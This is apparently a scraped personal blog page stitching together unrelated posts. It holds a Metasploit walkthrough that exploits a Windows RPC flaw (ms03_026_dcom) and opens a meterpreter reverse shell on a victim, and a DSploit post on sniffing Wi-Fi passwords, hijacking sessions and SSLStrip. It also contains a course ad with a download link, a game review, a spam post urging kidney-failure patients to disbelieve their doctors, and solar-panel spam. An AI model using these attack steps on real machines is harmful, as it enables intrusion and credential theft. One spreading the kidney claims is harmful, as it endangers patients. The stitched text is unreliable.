Prabhu's Maya

Friday, May 26, 2023

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.

Linux Machine (Kali Linux or BackTrack 5)
Metasploit (Built in the mentioned Linux OS)
Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.

Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
After the initialization of msfconsole, standard checks, we will see the window like below.
Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server. To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

More articles

Thursday, May 25, 2023

ECDX - Exploit Development Student

ECDX - Exploit Development Student from the popular eLearnSecurity Institute and INE is an Exploit Development training at the beginner level. Prerequisites for this course Completion of the eJPT courseIs. The eCXD course is a hands-on course with many examples of exploit development for both Windows and Windows operating systems. In this course, you will not only learn the basics but also the important Windows and Linux exploration techniques. You will also learn how to bypass anti-exploitation technologies such as antivirus. In this course you will gain an in-depth understanding of topics such as Software Debugging, Shellcoding, Windows and Linux exploration, how to search for Zero Day vulnerabilities, bypassing modern anti-exploitation technologies, and work. With Immunity Debugger, x32dbg, Mona, Pwntools, GDB, Ropper software.

Course prerequisites
Completion of the eJPT course
Course specifications
Course level: Beginner
Time: 18 hours and 48 minutes
Includes: ‌ 6 videos | 19 laboratories | ‌ 31 slides
Professor: Lukasz Mikula
ECXD Course Content - Exploit Development Student
Linux Exploit Development
Linux Stack Smashing
Linux Exploit Countermeasures & Bypasses
Linux Return Oriented Programming
Linux Shellcoding
Linux Advanced Exploitation
Windows Exploit Development
Windows Stack Smashing
Windows SEH-based Overflows
Windows Egghunting
Unicode Buffer Overflows
Windows Shellcoding
Windows Return Oriented Programming

Link to Download

Related word

DSploit

After playing with the applications installed on the Pwn Pad, I found that the most important application (at least for me) was missing from the pre-installed apps. Namely, DSploit. Although DSploit has tons of features, I really liked the multiprotocol password sniffing (same as dsniff) and the session hijacking functionality.

The DSploit APK in the Play Store was not working for me, but the latest nightly on http://dsploit.net worked like a charm.

Most features require that you and your target uses the same WiFi network, and that's it. It can be Open, WEP, WPA/WPA2 Personal. On all of these networks, DSploit will sniff the passwords - because of the active attacks. E.g. a lot of email clients still use IMAP with clear text passwords, or some webmails, etc.

First, DSploit lists the AP and the known devices on the network. In this case, I chose one victim client.

In the following submenu, there are tons of options, but the best features are in the MITM section.

Stealthiness warning: in some cases, I received the following popup on the victim Windows:

This is what we have under the MITM submenu:

Password sniffing

For example, let's start with the Password Sniffer. It is the same as EvilAP and DSniff in my previous post. With the same results for the popular Hungarian webmail with the default secure login checkbox turned off. Don't forget, this is not an Open WiFi network, but one with WPA2 protection!

Session hijack

Now let's assume that the victim is very security-aware and he checks the secure login checkbox. Another cause can be that the victim already logged in, long before we started to attack. The session hijacking function is similar to the Firesheep tool, but it works with every website where the session cookies are sent in clear text, and there is no need for any additional support.

In a session hijacking attack (also called "sidejacking"), after the victim browser sends the authentication cookies in clear text, DSploit copies these cookies into its own browser, and opens the website with the same cookies, which results in successful login most of the time. Let's see session hijacking in action!

Here, we can see that the session cookies have been sniffed from the air:

Let's select that session, and be amazed that we logged into the user's webmail session.

Redirect traffic

This feature can be used both for fun or profit. For fun, you can redirect all the victim traffic to http://www.kittenwar.com/. For-profit, you can redirect your victim to phishing pages.

Replace images, videos

I think this is just for fun here. Endless Rick Rolling possibilities.

Script injection

This is mostly for profit. client-side injection, drive-by-exploits, endless possibilities.

Custom filter

If you are familiar with ettercap, this has similar functionalities (but dumber), with string or regex replacements. E.g. you can replace the news, stock prices, which pizza the victim ordered, etc. If you know more fun stuff here, please leave a comment (only HTTP scenario - e.g. attacking Facebook won't work).

Additional fun (not in DSploit) - SSLStrip

From the MITM section of DSploit, I really miss the SSLStrip functionality. Luckily, it is built into the Pwn Pad. With the help of SSLStrip, we can remove the references to HTTPS links in the clear text HTTP traffic, and replace those with HTTP. So even if the user checks the secure login checkbox at freemail.hu, the password will be sent in clear text - thus it can be sniffed with DSniff.

HTML source on the client-side without SSLstrip:

HTML source on the client-side with SSL strip:

With EvilAP, SSLStrip, and DSniff, the password can be stolen. No hacking skillz needed.

Lessons learned here

If you are a website operator where you allow your users to login, always:

Use HTTPS with a trusted certificate, and redirect all unencrypted traffic to HTTPS ASAP
Mark the session cookies with the secure flag
Use HSTS to prevent SSLStrip attacks

If you are a user:

Don't trust sites with your confidential data if the above points are not fixed. Choose a more secure alternative
Use HTTPS everywhere plugin
For improved security, use VPN

Because hacking has never been so easy before.
And last but not least, if you like the DSploit project, don't forget to donate them!

Related word

Resident Evil Village – Winters’ Expansion Review (PS5)

Written by Anthony L. Cuaycong

Title: Resident Evil Village – Winters' Expansion
Developer: CAPCOM Co., Ltd.
Publisher: CAPCOM Co., Ltd.
Genre: Action, Horror
Price: $19.99

Who isn't a big fan of Resident Evil Village? While longtime gamers still prefer the classic survival horror tank controls formula of the older Resident Evil titles, the release of Resident Evil Village was able to bring the newer generation of button mashers to appreciate the franchise. The game was a nice blend of action and adventure, and it managed to mix the ridiculous set pieces of the more recent offerings in the series with the creepier, more mysterious aspects of its predecessors.

It comes as no surprise, then, that the Winters' Expansion, Resident Evil Village's newest downloadable content, exhibits more of its strengths and gives gamers exactly what they want. It brings to the table the story of Ethan's daughter, three mercenary characters to play with, and the ability to enjoy the main campaign in third-person mode. And honestly? These are all great.

Let's start with the actual story DLC, Shadows of Rose. Clocking in at around three to four hours of playtime, it's a short but enjoyable romp. Highlighting Rose's own personal experiences serves as an excuse for Resident Evil Village to do a retread of familiar locales and set pieces from the main game. This is where the true strength of the DLC lies. Shadows of Rose feels like a dark, twisted little fairytale to enjoy, rehashing the best parts of the main campaign by taking you through the familiar confines of Castle Dimitrescu and House Beneviento, and twisting them into something familiar, but different. The enemies you face are creepy and threatening and nothing like what you'd expect, and the DLC is no stranger to the gory body horror creepiness that the base game had. You'll feel chased and pressured in every area you go into, and the DLC is not shy at thrusting you into dangerous situations with tons of enemies to fight off.

Thankfully, you are not defenseless. Your options are limited, but the few guns you have on hand are still useful at bringing your foes down. If they get too close to you, you can buy yourself some time by stunning them using Rose's burgeoning powers, or even just running past them if you feel you can slip away. You don't have the arsenal available in the main game of Resident Evil Village to fall back on, but this new little mechanic gives you an extra means of defense that also changes up how you can approach your fights. You'll be balancing your ammunition with your power usage, giving you the leeway to run and fight as needed.

And as for the story? It's a neat little tale to enjoy. Resident Evil Village's story was a bit silly at times, but this little mini-campaign is designed to strike at the heart. Its narrative puts to rest the Winters Family arc, and serves as a satisfying conclusion to the Resident Evil 7: Biohazard and Resident Evil Village arcs.

If that's not enough for you, the Winters' expansion does have a bit more stuff to offer in the form of new mercenary mode characters to enjoy, with their own unique game styles to boot. Chris Redfield is initially unlocked from the start, and he uses his campaign arsenal during his mercenaries mode gameplay. He has reliable guns to shoot his enemies with, a decent little pocket knife to use, and a laser pointer that can do tremendous amounts of damage once its explosive payload has been dropped. For more long-term fans, he also has his iconic fists, letting him pummel foes to death with his bare hands.

Apart from him, two main campaign bosses are also unlockable once you've scored enough points. The first is Karl Heisenberg, who can not only use his hammer to bring his foes down with its large, sweeping aoe attacks; he also has access to magnetic powers. He can throw scrap to puncture an enemy's skull, or sawblades to chop them in half, and even bring to battle his Soldat Jet soldiers to explode on enemies. The second is Lady D herself. Using her powerful claws, she can combo her foes down and slice them to bits, or summon her daughters to help her in combat and provide backup. She tosses chairs and summons flies, and can even chokeslam any unwary foe that crosses her path.

These three new characters provide a wealth of replay value to what was originally a very simple side mode. Unlocking them does take some effort, requiring certain ranks in all stages before you can access them, but it's a nice reason to go back and finally hit those higher ranks. While the mercenaries mode still isn't particularly engaging long term, it's one that finally gives you a reason to replay them and do well.

The Winters' expansion likewise features a third person mode to play with during the main campaign. While nothing much has changed in the campaign structure, this third-person perspective actually makes for a big change in pacing, giving you more peripheral vision, and changing how you move because of this unique vantage point. Cutscenes are still primarily in first person, but the game's third- person mode gives some nice little advantages that the classic view didn't have, and it's a nice excuse to replay the main campaign.

All in all, the Winters' Expansion proves to be a fairly enjoyable offering. Capcom has given Resident Evil Village fans a fun little story DLC to play with, and new reasons to go back and enjoy its other modes. It's a no brainer for anyone who enjoyed the base game, and while it's not essential to the core experience, it adds more than enough to be worth considering.

THE GOOD

Enjoyable retread of the base game, with its best parts fully emphasized
Tons of new and familiar content to enjoy
Wraps up the connected stories of the last two releases in the series nicely and neatly

THE BAD

Doesn't add new content to the base game's campaign
Much of the content in the DLC relies on wanting to replay old content
Might disappoint fans who are expecting a full-fledged story expansion

RATING: 8.5/10

Wednesday, December 28, 2022

Kidney Disease Solution: Don’t give up on your kidneys;

prabhu.kadode.blog,

If your doctor or specialist has told you kidney function can't
be improved...

Don't believe them.

It simply isn't true.

Listen to what Stephen has to say… > https://rb.gy/blveus

" I had end-stage renal failure and was told by my specialist
nothing could be done except dialysis or a kidney transplant.
I stumbled across the Kidney Disease Solution by accident,
and boy am I glad I did. I rushed out and bought your secret
ingredients,
which to my surprise were easy to find. Within two days I began
to feel heaps better.
I told my Nephrologist about your solution but he had never
heard of it.
I told him to update his research!
I can't believe that in such a short time my whole life has
turned around. "

Stephen Pepler, 81, Ottawa, Canada

-> https://rb.gy/blveus

<20221228223738.2B90588FA3E0B87D@gmail.com>

Tuesday, December 27, 2022

Kidney Disease Solution: Don’t give up on your kidneys;

Monday, October 10, 2022

Alternative Electric Energy Sources for Your Homestead

This is literally going to kill the traditional solar panel industry.

And you are one of the lucky select-few who get to see this first hand.
You'll have the advantage of staying ahead of the trend, because it
can't be kept "under the rug" anymore.

This portable power plant uses 95% less space and it's 98% cheaper than
a traditional solar panel system. And will probably be in every household
by the end of the year when it hits mainstream.

Get yours while you still can.

Best,

Andy

95010 Euclid Avenue, Cleveland, Ohio 44169 | 800.223.3374
Copyright 2021 - SolarSwitch4All - All Rights Reserve

Unsubscribe from this newsletter instantly. Report Abuse

Prabhu's Maya

Friday, May 26, 2023

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

STEPS TO FOLLOW

Thursday, May 25, 2023

ECDX - Exploit Development Student

Related word

DSploit

DSploit

Password sniffing

Session hijack

Redirect traffic

Replace images, videos

Script injection

Custom filter

Additional fun (not in DSploit) - SSLStrip

Lessons learned here

Related word

Resident Evil Village – Winters’ Expansion Review (PS5)

Wednesday, December 28, 2022

Kidney Disease Solution: Don’t give up on your kidneys;

Tuesday, December 27, 2022

Kidney Disease Solution: Don’t give up on your kidneys;

Monday, October 10, 2022

Alternative Electric Energy Sources for Your Homestead

Blog Archive

About Me